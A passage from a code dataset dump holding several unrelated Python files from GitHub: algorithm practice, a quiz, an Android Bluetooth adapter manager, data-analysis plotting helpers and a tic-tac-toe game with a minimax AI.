in descending order.\n to the order.\n\n Somply reverse arr[i:]\n\n \"\"\"\n index = 0\n for index in range(len(arr)-1,-1,-1):\n if index > 0:\n if arr[index] > arr[index-1]:\n break\n # find the smallest element greater than arr[index-1]\n\n if index > 0:\n index_of_smallest_element = index\n\n for x in range(index, len(arr)):\n if arr[x] > arr[index-1] and arr[x] < arr[index_of_smallest_element]:\n index_of_smallest_element = x\n # swap.\n arr[index_of_smallest_element], arr[index-1] = arr[index-1],\\\n arr[index_of_smallest_element]\n # reverse everything from index to len(arr)\n backwards = len(arr)-1\n for x in range((index-len(arr))//2):\n arr[index + x], arr[backwards] = arr[backwards], arr[index+x]\n backwards -= 1\n\n\ndef find_pivot_point(arr, left, right):\n midpoint = left + (right - left) // 2\n\n if left < right:\n if arr[midpoint] > arr[right]:\n return find_pivot_point(arr, midpoint + 1, right)\n\n return find_pivot_point(arr, left, midpoint-1)\n\n return left\n\ndef binary_search(arr, left, right, target):\n if left < right:\n midpoint = left + (right - left) // 2\n if arr[midpoint] == target:\n return midpoint\n\n elif target < arr[midpoint]:\n return binary_search(arr, left, midpoint, target)\n\n return binary_search(arr, midpoint, right, target)\n\n return -1\n\ndef search_in_rotated_array(arr, target):\n \"\"\"given a sorted array that is rotated, find the target.\n\n intutition: can we use binary search to find the smallest element in the array.?\n\n \"\"\"\n\n pivot_index = find_pivot_point(arr, 0, len(arr)-1)\n\n # use the pivot index to find the element. look at the pivot index and see if the elemnt falls between pivot to end of array.\n # if it does, perform a binary search on the right hand side, else perform a bianery search on the left hand side.\n\n if arr[pivot_index] <= target <= arr[-1]:\n return binary_search(arr, pivot_index, len(arr)-1, target)\n\n return binary_search(arr, 0, pivot_index, target)\n\ndef binary_search_imp(arr, start, end, target):\n if start < end:\n pivot = start + (end - start)//2\n\n if arr[pivot] == target:\n return pivot\n\n elif target < arr[pivot]:\n return binary_search_imp(arr, start, pivot-1, target)\n\n return binary_search_imp(arr, pivot+1, end, target)\n\n return -1\n\ndef bs_search(arr, target):\n return binary_search_imp(arr, 0, len(arr), target)\n\nprint(bs_search([1,3,9,21,22,29,30,31], 9))","repo_name":"shafinsiddique/algorithms-datastructures-design","sub_path":"leetcode/arrays4.py","file_name":"arrays4.py","file_ext":"py","file_size_in_byte":18248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72654865973","text":"print('Quiz')\nanswer=input('Are you ready(yes/no) :')\nscore=0\ntotal_questions=3\n \nif answer.lower()=='yes':\n answer=input('Question 1: What is the most hardest programming language?')\n if answer.lower()=='malbolge':\n score += 1\n print('correct')\n else:\n print('Wrong Answer :(')\n \n \n answer=input('Question 2: What is the best programming language for data science')\n if answer.lower()=='python':\n score += 1\n print('correct')\n else:\n print('Wrong Answer :(')\n \n answer=input('Question 3: What is the oldest programming language to learn?')\n if answer.lower()=='fortran':\n score += 1\n print('correct')\n else:\n print('Wrong Answer :(')\n \nprint('Your score',score,\"questions correctly!\")\nmark=(score/total_questions)*100\nprint('Marks obtained:',mark)\nprint('Thanks for playing!')\n","repo_name":"indahwsn/simple-quiz-game","sub_path":"quiz.py","file_name":"quiz.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18404286379","text":"# https://www.youtube.com/watch?v=CxrnOTUlNJE\nimport math\nimport unittest\nfrom typing import List\n\n\n\n\nclass Solution:\n def reverseWords(self, s: str) -> str:\n s = s+\" \" # if there is no space at the end, the last word won't be added. That's why we add an extra space\n words = []\n word_so_far = []\n for ch in s:\n if ch != ' ':\n word_so_far.append(ch)\n else:\n # Avoid adding empty words when encountered multiple spaces.\n if word_so_far:\n words.append(''.join(word_so_far))\n word_so_far = [] # Reset\n result = \"\"\n for word in words:\n result = word + \" \" + result\n result = result[:-1]\n return result\n\nclass Solution2:\n def reverseWords(self, s: str) -> str:\n for i in range(len(s)):\n if s[i]!=' ':\n s=s[i:]\n break\n for i in reversed(range(len(s))):\n if s[i]!=' ':\n s=s[:i+1]\n break\n dummy_space = ' '\n s=s[::-1] + dummy_space\n n=len(s)\n res=[]\n left,right=0,0\n while right<=n-1:\n if s[right]==' ':\n temp=[]\n while left Optional[\"android.bluetooth.BluetoothAdapter\"]:\n if self.has_permissions:\n adapter = self.ble.mBluetoothAdapter\n if adapter and adapter.isEnabled():\n return adapter\n return None\n\n @property\n def has_permissions(self):\n if not self.is_permissions_granted:\n self.is_permissions_granted = self.check_permissions()\n return self.is_permissions_granted\n\n @property\n def is_service_context(self):\n return not activity._activity\n\n def __post_init__(self):\n if self.is_service_context:\n self.is_permissions_granted = True\n else:\n activity.bind(on_activity_result=self.on_activity_result)\n\n @classmethod\n def get_attached_manager(cls, instance):\n manager = getattr(instance, \"_adapter_manager\", None)\n if not manager:\n Logger.error(\"BLE adapter manager is not installed\")\n return manager\n\n def install(self, instance):\n setattr(instance, \"_adapter_manager\", self)\n\n def check_permissions(self):\n return all(\n [check_permission(permission) for permission in self.runtime_permissions]\n )\n\n def request_permissions(self):\n if self.is_permissions_requested:\n return\n self.is_permissions_requested = True\n if not self.is_service_context:\n Logger.debug(\"Request runtime permissions\")\n request_permissions(\n self.runtime_permissions,\n self.on_runtime_permissions,\n )\n else:\n Logger.error(\"Required permissions are not granted for service\")\n\n def request_adapter(self):\n if self.is_adapter_requested:\n return\n self.is_adapter_requested = True\n self.ble.getAdapter(self.enable_ble_code)\n\n def rollback(self):\n self._execute_operations(self.rollback_handlers)\n\n def execute(self, operation):\n if self.adapter:\n # execute immediately, if adapter is enabled\n return operation()\n self.operations.append(operation)\n self.execute_operations()\n\n def execute_operations(self):\n if self.has_permissions:\n if self.adapter:\n self._execute_operations(self.operations)\n else:\n self.request_adapter()\n else:\n self.request_permissions()\n\n def _execute_operations(self, operations):\n self.operations = []\n self.rollback_handlers = []\n for operation in operations:\n try:\n operation()\n except Exception as exc:\n Logger.exception(exc)\n\n def on_runtime_permissions(self, permissions, grant_results):\n granted = all(grant_results)\n self.is_permissions_granted = granted\n self.is_permissions_requested = False # allow future invocations\n if granted:\n Logger.debug(\"Required permissions are granted\")\n self.execute_operations()\n else:\n Logger.error(\"Required permissions are not granted\")\n self.rollback()\n\n def on_activity_result(self, requestCode, resultCode, intent):\n if requestCode == self.enable_ble_code:\n enabled = resultCode == Activity.RESULT_OK\n self.is_adapter_requested = False # allow future invocations\n if enabled:\n Logger.debug(\"BLE adapter is enabled\")\n self.execute_operations()\n else:\n Logger.error(\"BLE adapter is not enabled\")\n self.rollback()\n","repo_name":"b3b/able","sub_path":"able/adapter.py","file_name":"adapter.py","file_ext":"py","file_size_in_byte":5612,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"21"} +{"seq_id":"43168464127","text":"#\nimport os\nimport sys\nimport missingno as mno\nimport warnings\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\nfrom scipy import stats\nimport matplotlib.pyplot as plt\nfrom scipy.stats import norm, skew #for some statistics\n\n# Plots\nfrom plotly.offline import iplot\nimport plotly.graph_objects as go\nfrom plotly.subplots import make_subplots\n\n\n# data quality \ndef data_quality(df, column): #convert_dtypes_with_reduce_memory(df)\n # datetime\n df[column] = pd.to_datetime(df[column], utc=True, infer_datetime_format=True)\n # any duplicate time periods?\n print(\"count of duplicates:\",df.duplicated(subset=[column], keep=\"first\").sum())\n # any non-numeric types?\n print(\"non-numeric columns:\",list(df.dtypes[df.dtypes == \"object\"].index))\n \n \n \n# any missing values?\ndef printing_missing_values(df):\n if df.isnull().values.any():\n print(\"MISSING values:\\n\")\n mno.matrix(df)\n else:\n print(\"no missing values\\n\")\n \n \n \n# drop the NaN and zero columns, and also the 'forecast' columns\ndef data_cleaning(df): \n df = df.drop(df.filter(regex=\"forecast\").columns, axis=1, errors=\"ignore\")\n df.dropna(axis=1, how=\"all\", inplace=True)\n df = df.loc[:, (df!=0).any(axis=0)] \n # handle missing values in rows of remaining columns\n df = df.interpolate(method =\"bfill\")\n if df.isnull().values.any():\n print(\"MISSING values:\\n\")\n mno.matrix(df)\n else:\n print(\"no missing values\\n\")\n\n\n\n# cleaning names for column\ndef data_cleaning_with_vocabulary(df, en_level_candidate): # clearing 'en_level_candidate': 'no_english' and 'no english'\n df.dropna(axis=0, inplace=True) # my code for deleting last raw\n dict_days = {'upper':'upper', 'intermediate':'intermediate', 'fluent':'fluent','pre':'pre', 'basic':'basic', 'no_english':'no english'}\n df[en_level_candidate] = df[en_level_candidate].apply(lambda x: dict_days[x])\n print('Unique values:', df[en_level_candidate].unique())\n\n \n \n# add time futures\ndef add_time_futures(df, column): \n # datetime\n df[column] = pd.to_datetime(df[column], utc=True, infer_datetime_format=True)\n df.set_index(column, inplace=True)\n df.sort_index(inplace=True)\n df[\"month\"] = df.index.month\n df[\"wday\"] = df.index.dayofweek\n dict_days = {0:\"Mon\", 1:\"Tue\", 2:\"Wed\", 3:\"Thu\", 4:\"Fri\", 5:\"Sat\", 6:\"Sun\"}\n df[\"weekday\"] = df[\"wday\"].apply(lambda x: dict_days[x])\n df[\"hour\"] = df.index.hour\n df = df.astype({\"hour\":float, \"wday\":float, \"month\": float})\n print(\"earliest time period:\", df.index.min())\n print(\"latest time period:\", df.index.max())\n \n\n \n# convert int and float64 columns to float32\ndef convert_dtypes_with_reduce_memory(df): \n intcols = list(df.dtypes[df.dtypes == np.int64].index)\n df[intcols] = df[intcols].applymap(np.float32)\n\n f64cols = list(df.dtypes[df.dtypes == np.float64].index)\n df[f64cols] = df[f64cols].applymap(np.float32)\n\n f32cols = list(df.dtypes[df.dtypes == np.float32].index)\n \n df.info()\n\n\n\n # boxplots\ndef printing_boxplot(df):\n f32cols = list(df.dtypes[df.dtypes == np.float32].index)\n for i, c in enumerate(f32cols):\n sns.boxplot(x=df[c], palette=\"coolwarm\")\n plt.show(); \n \n \n\n# Printing parameters for Statistical distribution\ndef printing_distribution_skewness_kurtosis(df, column):\n # Distribution\n sns.set_style(\"white\")\n sns.set_color_codes(palette='deep')\n f, ax = plt.subplots(figsize=(12, 8))\n\n # Fit a normal distribution\n mu, std = norm.fit(df[column])\n\n # Frequency\n sns.distplot(df[column], color=\"b\", fit = stats.norm)\n ax.xaxis.grid(False)\n ax.set(ylabel=\"Frequency\")\n ax.set(xlabel=column)\n ax.set(title=\"%s distribution: mu = %.2f, std = %.2f\" % (column, mu, std))\n sns.despine(trim=True, left=True)\n\n # Skewness and Kurtosis\n ax.text(x=1.1, y=1, transform=ax.transAxes, s=\"Skewness: %f\" % df[column].skew(),\\\n fontweight='demibold', fontsize=10, verticalalignment='top', horizontalalignment='right',\\\n backgroundcolor='white', color='xkcd:poo brown')\n ax.text(x=1.1, y=0.95, transform=ax.transAxes, s=\"Kurtosis: %f\" % df[column].kurt(),\\\n fontweight='demibold', fontsize=10, verticalalignment='top', horizontalalignment='right',\\\n backgroundcolor='white', color='xkcd:dried blood')\n\n plt.show()\n \n \n \n# pivot table: weekdays in months\ndef printing_pivot_heatmap(df, values, index, columns): #printing_pivot_heatmap(df, \"hire_salary\", \"month\", \"candidates_city\")\n piv = pd.pivot_table( df, \n values= values, \n index=index, \n columns=columns, \n aggfunc=\"mean\", \n margins=True, margins_name=\"Avg\", \n fill_value=0)\n pd.options.display.float_format = '{:,.0f}'.format\n\n plt.figure(figsize = (20, 10))\n sns.set(font_scale=1)\n sns.heatmap(piv.round(0), annot=True, square = True, \\\n linewidths=.75, cmap=\"coolwarm\", fmt = \".0f\", annot_kws = {\"size\": 11})\n plt.title(\"hire_salary by candidates_city by month\")\n plt.show()\n \n \n\n# Creating cohort \ndef create_cohort(df, start_date, end_date):\n cohort = df[(df.index >=start_date) & (df.index <= end_date)].copy()\n #cohort.reset_index(inplace=True, drop=True)\n return(cohort)\n\n\n\n# Helper functions for structured data\n## Get info about the dataset\ndef dataset_info(dataset, dataset_name: str):\n print(f\"Dataset Name: {dataset_name} \\\n | Number of Samples: {dataset.shape[0]} \\\n | Number of Columns: {dataset.shape[1]}\")\n print(30*\"=\")\n print(\"Column Data Type\")\n print(dataset.dtypes)\n print(30*\"=\")\n missing_data = dataset.isnull().sum()\n if sum(missing_data) > 0:\n print(missing_data[missing_data.values > 0])\n else:\n print(\"No Missing Data on this Dataset!\")\n print(30*\"=\")\n print(\"Memory Usage: {} MB\".\\\n format(np.round(\n dataset.memory_usage(index=True).sum() / 10e5, 3\n )))\n## Dataset Sampling\ndef data_sampling(dataset, frac: float, random_seed: int):\n data_sampled_a = dataset.sample(frac=frac, random_state=random_seed)\n data_sampled_b = dataset.drop(data_sampled_a.index).reset_index(drop=True)\n data_sampled_a.reset_index(drop=True, inplace=True)\n return data_sampled_a, data_sampled_b \n## Bar Plot\ndef bar_plot(data, plot_title: str, x_axis: str, y_axis: str):\n colors = [\"#0080ff\",] * len(data)\n colors[0] = \"#ff8000\"\n trace = go.Bar(y=data.values, x=data.index, text=data.values, \n marker_color=colors)\n layout = go.Layout(autosize=False, height=600,\n title={\"text\" : plot_title,\n \"y\" : 0.9,\n \"x\" : 0.5,\n \"xanchor\" : \"center\",\n \"yanchor\" : \"top\"}, \n xaxis={\"title\" : x_axis},\n yaxis={\"title\" : y_axis},)\n fig = go.Figure(data=trace, layout=layout)\n fig.update_layout(template=\"simple_white\")\n fig.update_traces(textposition=\"outside\",\n textfont_size=14,\n marker=dict(line=dict(color=\"#000000\", width=2))) \n fig.update_yaxes(automargin=True)\n iplot(fig)\n## Plot Pie Chart\ndef pie_plot(data, plot_title: str):\n trace = go.Pie(labels=data.index, values=data.values)\n layout = go.Layout(autosize=False,\n title={\"text\" : plot_title,\n \"y\" : 0.9,\n \"x\" : 0.5,\n \"xanchor\" : \"center\",\n \"yanchor\" : \"top\"})\n fig = go.Figure(data=trace, layout=layout)\n fig.update_traces(textfont_size=14,\n marker=dict(line=dict(color=\"#000000\", width=2)))\n fig.update_yaxes(automargin=True) \n iplot(fig)\n## Histogram\ndef histogram_plot(data, plot_title: str, y_axis: str):\n trace = go.Histogram(x=data)\n layout = go.Layout(autosize=False,\n title={\"text\" : plot_title,\n \"y\" : 0.9,\n \"x\" : 0.5,\n \"xanchor\" : \"center\",\n \"yanchor\" : \"top\"}, \n yaxis={\"title\" : y_axis})\n fig = go.Figure(data=trace, layout=layout)\n fig.update_traces(marker=dict(line=dict(color=\"#000000\", width=2)))\n fig.update_layout(template=\"simple_white\")\n fig.update_yaxes(automargin=True)\n iplot(fig)\n# Particular case: Histogram subplot (1, 2)\ndef histogram_subplot(dataset_a, dataset_b, feature_a: str, feature_b: str, title: str, title_a: str, title_b: str):\n fig = make_subplots(rows=1, cols=2, subplot_titles=(\n title_a,\n title_b\n )\n )\n fig.add_trace(go.Histogram(x=dataset_a[feature_a],\n showlegend=False),\n row=1, col=1)\n fig.add_trace(go.Histogram(x=dataset_b[feature_b],\n showlegend=False),\n row=1, col=2)\n fig.update_layout(template=\"simple_white\")\n fig.update_layout(autosize=False,\n title={\"text\" : title,\n \"y\" : 0.9,\n \"x\" : 0.5,\n \"xanchor\" : \"center\",\n \"yanchor\" : \"top\"}, \n yaxis={\"title\" : \"Frequency\"})\n fig.update_traces(marker=dict(line=dict(color=\"#000000\", width=2)))\n fig.update_yaxes(automargin=True)\n iplot(fig)\n# Calculate scores with Test/Unseen labeled data\ndef test_score_report(data_unseen, predict_unseen):\n le = LabelEncoder()\n data_unseen[\"Label\"] = le.fit_transform(data_unseen.Churn.values)\n data_unseen[\"Label\"] = data_unseen[\"Label\"].astype(int)\n accuracy = accuracy_score(data_unseen[\"Label\"], predict_unseen[\"Label\"])\n roc_auc = roc_auc_score(data_unseen[\"Label\"], predict_unseen[\"Label\"])\n precision = precision_score(data_unseen[\"Label\"], predict_unseen[\"Label\"])\n recall = recall_score(data_unseen[\"Label\"], predict_unseen[\"Label\"])\n f1 = f1_score(data_unseen[\"Label\"], predict_unseen[\"Label\"])\n\n df_unseen = pd.DataFrame({\n \"Accuracy\" : [accuracy],\n \"AUC\" : [roc_auc],\n \"Recall\" : [recall],\n \"Precision\" : [precision],\n \"F1 Score\" : [f1]\n })\n return df_unseen\n\n# Confusion Matrix\ndef conf_mat(data_unseen, predict_unseen):\n unique_label = data_unseen[\"Label\"].unique()\n cmtx = pd.DataFrame(\n confusion_matrix(data_unseen[\"Label\"],\n predict_unseen[\"Label\"],\n labels=unique_label), \n index=['{:}'.format(x) for x in unique_label], \n columns=['{:}'.format(x) for x in unique_label]\n )\n ax = sns.heatmap(cmtx, annot=True, fmt=\"d\", cmap=\"YlGnBu\")\n ax.set_ylabel('Predicted')\n ax.set_xlabel('Target');\n ax.set_title(\"Predict Unseen Confusion Matrix\", size=14);\n","repo_name":"Mykrass/Viz-function-for-jinni-test","sub_path":"customer_function.py","file_name":"customer_function.py","file_ext":"py","file_size_in_byte":11091,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4543491184","text":"\"\"\"\nThis is where the game's main logic is kept. It consists of a player class and the game round class\n\"\"\"\nimport random\nimport numpy\nimport itertools\n\n\nclass Player:\n \"\"\"\n Handles the player data and related methods\n\n Attributes\n ----------\n name : string\n The name that the player will be referred to as\n symbol : string\n The symbol of the player for use on the grid\n \"\"\"\n def __init__(self, player_num, ai_player=False, given_symbol=False):\n self.symbol = None\n if not(ai_player):\n self.name = self.name_prompt(player_num)\n # if not(given_symbol):\n # self.symbol = self.symbol_prompt()\n # else:\n # self.symbol = given_symbol\n else:\n # assert(given_symbol)\n self.name = \"AI\"\n # self.symbol = given_symbol\n\n def name_prompt(self, player_num_):\n \"\"\"\n Asks the player(s) for the names and then returns the name.\n\n Returns\n -------\n name : string\n The name that the player has chosen for themselves\n \"\"\"\n assert(player_num_ in [1, 2])\n name = input(f\"Please choose player {player_num_} name (Default: Player {player_num_}): \")\n if name == \"\":\n return f\"Player {player_num_}\"\n return name\n\n def symbol_prompt(self):\n \"\"\"\n Asks the player(s) for the symbol(s) that they want to use for themselves\n and returns it\n\n Returns\n -------\n symbol : string\n The symbol that the player has chosen for themselves\n \"\"\"\n prompt_text = f\"{self.name} will go first; would you like to be 'x' or 'o'?: \"\n symbol = input(prompt_text).lower()\n while symbol not in ['o', 'x']:\n symbol_error = \"Symbol not valid, please enter a valid symbol ('x' or 'o'): \"\n symbol = input(symbol_error).lower()\n return symbol\n\nclass GameRound:\n \"\"\"\n This handles the board and game logic\n\n Attributes\n ----------\n available_grids : list of bools\n This keeps track of the available positions on the grid to make a move\n turn_num : int\n Used to keep track of the number of turns to keep track of the game length\n player_turn : int\n Used to keep track of whose turn it is\n board : list of strings\n This is the board grids which will be replaced with symbols\n ai_enabled : bool\n If this is enabled, then we know that the second player will be the AI\n player_one/two : Player\n These are the player objects used in the game round\n players : tuple of Players\n Used to store the players, which I keep to use an index over for setting the player turn\n \"\"\"\n def __init__(self):\n self.available_grids = [[0, 1, 2],[3, 4, 5], [6, 7, 8]]\n self.turn_num = 1\n self.game_over = False\n # First definition is random, then is later defined through player\n self.player_turn = random.choice([1, 2])\n self.board = [list(' ' for i in range(3)) for j in range(3)]\n self.ai_enabled = self.ai_enable_prompt()\n self.ai_difficulty_prompt()\n self.player_one = Player(1)\n\n if not(self.ai_enabled):\n self.player_two = Player(2)\n else:\n self.player_two = Player(2, True)\n\n self.players = (self.player_one, self.player_two)\n\n def draw_board(self):\n \"\"\"Prints the game board into the console\"\"\"\n print('\\n ' +\n self.board[0][0] + ' | ' + self.board[0][1] + ' | ' + self.board[0][2] + ' \\n' +\n '---|---|---\\n' + ' ' +\n self.board[1][0] + ' | ' + self.board[1][1] + ' | ' + self.board[1][2] + ' \\n' +\n '---|---|---\\n' + ' ' +\n self.board[2][0] + ' | ' + self.board[2][1] + ' | ' + self.board[2][2] + ' \\n')\n\n def is_free(self, chosen_x, chosen_y):\n \"\"\"Checks if a grid on the board is free\"\"\"\n if self.available_grids[chosen_x-1][chosen_y-1] not in ['x', 'o']:\n return True\n return False\n\n def ai_enable_prompt(self):\n \"\"\"Asks the user if they want to player against AI\"\"\"\n while True:\n ai_answer = input(\"Would you like to play against the computer? (y/n): \").lower()\n if ai_answer in ('y', 'yes', 'True', '1'):\n return True\n elif ai_answer in ('n', 'no', 'False', '0'):\n return False\n else:\n print(\"That's not a 'y' or an 'n'; please try again. \\n\")\n\n def ai_difficulty_prompt(self):\n if self.ai_enabled:\n while True:\n difficulty_answer = input((\"Please choose the AI difficult you would like (0 for challenged\"\n \", 1 for challenging, 2 for unbeatable): \"))\n if difficulty_answer in ['0', '1', '2']:\n self.ai_difficulty = int(difficulty_answer)\n break\n else:\n self.ai_difficulty = 0\n\n def swap_player_turn(self):\n \"\"\"\n Swaps the player whose turn is next\n\n The logic is that since there are only 2 players, I can subtract 3 from either 1 or 2\n and it will give me the next player\n \"\"\"\n self.player_turn = abs(self.player_turn - 3)\n\n def make_move(self, symbol, row, column):\n \"\"\"Performs the chosen move on the board\"\"\"\n self.board[row][column] = symbol\n\n def decide_symbols(self):\n \"\"\"Determines the player turn order\"\"\"\n\n if self.player_turn == 1:\n self.player_one.symbol = self.player_one.symbol_prompt()\n if self.player_one.symbol == 'o':\n self.player_two.symbol = 'x'\n else:\n self.player_two.symbol = 'o'\n\n print(f\"{self.player_one.name} chose '{self.player_one.symbol}'\")\n print(f\"{self.player_two.name} is '{self.player_two.symbol}'\")\n else:\n if not(self.ai_enabled):\n self.player_two.symbol_prompt()\n if self.player_two.symbol == 'o':\n self.player_one.symbol = 'x'\n else:\n self.player_one.symbol = 'o'\n else:\n self.player_one.symbol = random.choice(['o', 'x'])\n if self.player_one.symbol == 'o':\n self.player_two.symbol = 'x'\n else:\n self.player_two.symbol = 'o'\n\n print(f\"{self.player_one.name} will go second; your symbol is '{self.player_one.symbol}'\")\n print(f\"{self.player_two.name} is '{self.player_two.symbol}'\")\n\n def ask_move(self):\n\n \"\"\"\n Asks the player for their move choice (asks for row and column the combines them)\n and then returns them\n\n\n Returns\n -------\n move_position : tuple of ints\n The row and column (respectively) used for making the move on the board\n \"\"\"\n row_prompt = \"Please choose row 1 (top), 2 (middle) or 3 (bottom) for your move: \"\n move_row = int(input(row_prompt))\n while move_row not in range(1, 4):\n row_prompt = \"Please provide legal row (1 (top), 2 (middle), 3 (bottom)): \"\n move_row = int(input(row_prompt))\n\n col_prompt = \"Please choose column 1 (left), 2 (middle) or 3 (right) for your move: \"\n move_col = int(input(col_prompt))\n while move_col not in range(1, 4):\n col_prompt = \"Please choose legal column (1 (left), 2 (middle), 3 (right)): \"\n move_col = int(input(col_prompt))\n\n move_position = (move_row-1, move_col-1)\n\n if not self.is_free(move_row, move_col):\n print(\"Grid already taken; please try again with a different grid.\\n\")\n return None\n return move_position\n\n def game_end_check(self, x, y):\n #check if previous move caused a win on vertical line\n if self.board[0][y] == self.board[1][y] == self.board [2][y]:\n return True\n\n #check if previous move caused a win on horizontal line\n if self.board[x][0] == self.board[x][1] == self.board [x][2]:\n return True\n\n #check if previous move was on the main diagonal and caused a win\n if x == y and self.board[0][0] == self.board[1][1] == self.board [2][2]:\n return True\n\n #check if previous move was on the secondary diagonal and caused a win\n if x + y == 2 and self.board[0][2] == self.board[1][1] == self.board [2][0]:\n return True\n\n return False\n\n def game_end(self, winner):\n if winner == 1:\n if self.ai_enabled:\n print(\"You won! congratulations!\")\n else:\n print(f\"{self.player_one.name} wins! congratulations!\")\n elif winner == 2:\n if self.ai_enabled:\n print(\"Oh no...you lost!\")\n else:\n print(f\"{self.player_two.name} wins! congratulations!\")\n else:\n print(\"Game ends in a draw!\")\n self.game_over = True\n\n def best_move(self, grid):\n # Joining the grid together into one list\n board_state = list(itertools.chain.from_iterable(grid))\n\n # Replacing the available slots with their position\n def free_positions(board):\n return [position for position, state in enumerate(board) if state not in ['x', 'o']]\n\n def winning_state(board, player):\n if ((board[0] == player and board[1] == player and board[2] == player) or\n (board[3] == player and board[4] == player and board[5] == player) or\n (board[6] == player and board[7] == player and board[8] == player) or\n (board[0] == player and board[3] == player and board[6] == player) or\n (board[1] == player and board[4] == player and board[7] == player) or\n (board[2] == player and board[5] == player and board[8] == player) or\n (board[0] == player and board[4] == player and board[8] == player) or\n (board[2] == player and board[4] == player and board[6] == player)\n ):\n return True\n else:\n return False\n\n def minimax(new_board, player):\n\n legal_moves = free_positions(new_board)\n\n if winning_state(new_board, self.player_one.symbol):\n return {'score':-10}\n elif winning_state(new_board, self.player_two.symbol):\n return {'score':10}\n elif len(legal_moves) == 0:\n return {'score':0}\n\n moves = []\n\n for i in range(len(legal_moves)):\n move = {}\n move['index'] = new_board[legal_moves[i]]\n\n new_board[legal_moves[i]] = player\n\n if player == self.player_two.symbol:\n result = minimax(new_board, self.player_one.symbol)\n move['score'] = result['score']\n else:\n result = minimax(new_board, self.player_two.symbol)\n move['score'] = result['score']\n\n new_board[legal_moves[i]] = move['index']\n\n moves.append(move)\n\n chosen_move = 0\n if player == self.player_two.symbol:\n best_score = -10000\n for i in range(len(moves)):\n if moves[i]['score'] > best_score:\n best_score = moves[i]['score']\n chosen_move = i\n else:\n best_score = 10000\n for i in range(len(moves)):\n if moves[i]['score'] < best_score:\n best_score = moves[i]['score']\n chosen_move = i\n\n return moves[chosen_move]\n\n chosen_move = minimax(board_state, self.player_two.symbol)['index']\n chosen_x = int(chosen_move / 3)\n chosen_y = chosen_move % 3\n\n return (chosen_x, chosen_y)\n\n def turn(self):\n \"\"\"\n Contains the logic for a turn in a round. The flow can be summed like so::\n\n if it's the human player turn:\n ask them for their move\n make the move\n otherwise:\n simulate the AI making a choice\n make the move\n\n change whose turn it is\n update the available moves\n increment the turn counter\n draw the board\n \"\"\"\n move_position = None\n\n if self.player_turn == 1:\n while move_position == None:\n move_position = self.ask_move()\n\n self.make_move(self.player_one.symbol, *move_position)\n self.available_grids[move_position[0]][move_position[1]] = self.player_one.symbol\n\n elif self.player_turn == 2:\n if self.ai_enabled:\n print(\"AI turn: \\n\")\n\n if self.ai_difficulty == 0:\n while True:\n move_position = [random.choice([0, 1, 2]), random.choice([0, 1, 2])]\n if self.is_free(*move_position):\n break\n\n elif self.ai_difficulty == 1:\n if self.turn_num in (1, 2):\n while True:\n move_position = (random.choice([0, 1, 2]), random.choice([0, 1, 2]))\n if self.is_free(move_position[0]+1, move_position[1]+1):\n break\n else:\n move_position = self.best_move(self.available_grids)\n else:\n if self.turn_num == 1:\n ''' Noticed the algorithm always started with this move,\n so it made sense to speed it up by putting it in anyway'''\n move_position = [0, 0]\n else:\n move_position = self.best_move(self.available_grids)\n\n self.board[move_position[0]][move_position[1]] = self.player_two.symbol\n self.available_grids[move_position[0]][move_position[1]] = self.player_two.symbol\n else:\n while move_position == None:\n move_position = self.ask_move()\n\n self.make_move(self.player_two.symbol, *move_position)\n self.available_grids[move_position[0]][move_position[1]] = self.player_two.symbol\n\n if self.game_end_check(move_position[0], move_position[1]):\n self.draw_board()\n self.game_end(self.player_turn)\n else:\n self.swap_player_turn()\n self.turn_num += 1\n self.draw_board()\n\n def restart(self):\n \"\"\"\n Asks the player(s) if they want to play again and returns the result as boolean\n\n Returns\n -------\n bool\n It returns True or False based on if the player states they want to play again\n \"\"\"\n answer = input(\"Would you like to play again?\").upper()\n while answer not in ['Y', 'N']:\n wrong_input_msg = \"Invalid input, please input yes with a 'Y' or no with an 'N': \"\n answer = input(wrong_input_msg).upper()\n\n return True if answer == 'Y' else False\n\n\ndef main():\n \"\"\"\n The game routine\n\n Uses a while loop to keep looping through after each game so that it restarts automatically\n if the game ends and the player doesn't choose to quit (logically meaning that they will be\n wanting to restart it instead)::\n\n while True:\n\n Inside the loop, it creates the GameRound object for the game, then asks the players for the\n symbols and then draws the board for us to get a mental picture to decide where to move::\n\n game = GameRound()\n game.decide_symbols()\n game.draw_board()\n\n After, we then have a while loop that keeps calling for game turns until the grid is full::\n\n while game.turn_num <= 9:\n game.turn()\n\n .. note::\n This is only the situation for now until I implement the lose conditions, because with this\n we only have a draw condition for the moment, but no lose or win conditions::\n\n Finally, once the game is over, we have a conditional function for exiting the game, depending\n on if the player decides to restart or quit in the ''game.restart()'' function::\n\n if not game.restart():\n exit(0)\n \"\"\"\n while True:\n game = GameRound() # Creates the game object\n game.decide_symbols()\n game.draw_board() # Draws the board\n\n while game.turn_num <= 9 and not(game.game_over):\n game.turn()\n\n if not(game.game_over):\n game.game_end(0)\n\n if not game.restart():\n break\n\n exit(0)\n\nif __name__ == '__main__':\n main()\n","repo_name":"Bluer01/Python-Tic-Tac-Toe","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":16915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"18239082711","text":"n, l, r, x = map(int, input().split())\na = list(map(int, input().split()))\nc = [0] * 15\n# 두 문제 이상을 골라야 한다.\n\n\ndef go(index, cnt, sum, easy, hard):\n if index == n:\n if cnt >= 2 and l <= sum and sum <= r and hard-easy >= x:\n return 1\n else:\n return 0\n cnt1 = go(index + 1, cnt + 1, sum+a[index], min(easy, a[index]), max(hard, a[index])) # 고르는 것\n cnt2 = go(index + 1, cnt, sum, easy, hard) # 고르지 않는 것\n return cnt1 + cnt2\n\n\nprint(go(0, 0, 0, -1, -1))","repo_name":"yeonnseok/ps-algorithm","sub_path":"2019 baekjoon/BruteForce/16938_prepareCamp.py","file_name":"16938_prepareCamp.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"44246153268","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Jul 26 17:38:50 